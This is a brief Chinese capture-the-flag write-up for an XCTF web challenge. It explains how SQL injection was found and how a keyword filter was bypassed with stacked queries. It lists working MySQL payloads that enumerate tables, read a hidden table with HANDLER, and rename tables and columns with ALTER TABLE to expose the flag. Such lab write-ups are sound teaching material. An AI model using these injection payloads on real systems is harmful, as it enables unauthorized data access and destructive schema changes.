题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1
输入1’发现不回显,然后1’ #显示正常,判断是存在sql注入了
order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用1' union select 1,2,#
进行联合查询,发现关键字被正则过滤
尝试堆叠注入-1';show tables #
查询两张表名字段
-1';show columns from `1919810931114514` #
-1';show columns from `words` #
第一种方式:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
第二种方式:
//修改表
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
//在查询
1' or 1=1#
知识点总结
1919810931114514